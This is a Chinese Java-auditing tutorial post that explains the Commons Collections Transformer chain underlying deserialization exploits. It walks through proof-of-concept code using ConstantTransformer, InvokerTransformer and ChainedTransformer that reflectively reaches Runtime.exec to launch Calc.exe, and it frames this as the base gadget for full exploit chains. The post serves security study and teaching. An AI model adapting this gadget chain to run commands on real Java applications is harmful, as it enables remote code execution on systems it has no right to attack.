Java教程

Java审计——Commons Collections 迭代调用链

本文主要是介绍Java审计——Commons Collections 迭代调用链,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

0x00 前言

单独的写迭代连的调用,主要原因是因为很多Commons Collections链都是以迭代链为基础而进行进一步利用的。所以先把迭代连找出来。
顺便把Commons Collection的概述基础这些也做一个介绍。

0x01 迭代链

网上大多的文章都是先介绍Transformer等一系列使用到的类,这里我们试着反着来。先上迭代链。迭代链就是通过某种迭代的方式执行多个Transform方法来获取实例。

1. 迭代链POC

Transformer[] transformers = new Transformer[]{

        //利用InvokerTransformer的反射功能,构造可以序列化的 java.lang.Class 的 Runtime,class对象
        //利用反射构造命令执行
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec",
                new Class[]{String.class},
                new String[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Object.class)

直接执行这个poc就可以触发Calc.exe。
这里是手动写transform进行触发迭代链的。
接下来挨着来看迭代链。简单的整理一下流程就是:

  • 拿到对应类
  • 反射获取方法
  • 执行方法
  • 触发

那么这里我们一步一步来进行拆分,然后再进行整合。

2.获取目标类

我们可以通过ConstantTransformer类中的transform方法来获取类,先来看效果,然后挨着说

Object o=new ConstantTransformer(Runtime.class).transform(Object.class); 
System.out.println(o);

在这里插入图片描述
ConstantTransformer实现了Transformer接口,重写了transform。
先来看Transformer接口:
在这里插入图片描述
然后再看重写的内容:可以获取到对应的类
在这里插入图片描述

3.获取目标类方法

获取目标类的方式使用的 InvokerTransformer,InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例。
这里得先看一下InvokerTransformer和他的Transformer方法
首先是构造方法,这里的构造方法会接收三个参数,方法名,方法类型,方法的数值。
在这里插入图片描述
然后来看Transformer方法:直接调用反射机制来获取到方法的实例。
在这里插入图片描述
那么我们要执行exec就要进行连续获取

  • getMethod
  • getRuntime
  • invoke
  • exec

那么获取执行方法实例的poc就是:

Object o=new ConstantTransformer(Runtime.class).transform(Object.class);
Object a=new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}).transform(o);
Object b=new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}).transform(a);
Object c=new InvokerTransformer("exec",
        new Class[]{String.class},
        new String[]{"Calc.exe"}).transform(b);

还有一种简单的方式就是:但是通过这种方式调用的实例无法进行反序列化操作

new ConstantTransformer(Runtime.getRuntime())
new InvokerTransformer("exec", new Class[]{String.class},        new Object[]{"Calc.exe"}),

简单的看一下getRuntime,可以看到是static,java无法对static修饰的方法或属性进行序列化和反序列化。因为static在系统启动时就保存在了某一个特定的位置。
在这里插入图片描述

4.迭代调用

那么直接调用的方式是我们需要手动的去调用他们的transform方法,我们需要找到一个可以进行迭代调用的方式。庆幸的是存在一个ChainedTransformer类,ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。
那么我们通过ChainedTransformer类调用:

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec",
                new Class[]{String.class},
                new String[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Object.class);

那么这样就可以直接触发整个transformers数组的Transform方法。 面试的问题就是如何去触发ChainedTransformer的Transform方法。那么这个就是之后整个反序列链的基础链。

这篇关于Java审计——Commons Collections 迭代调用链的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!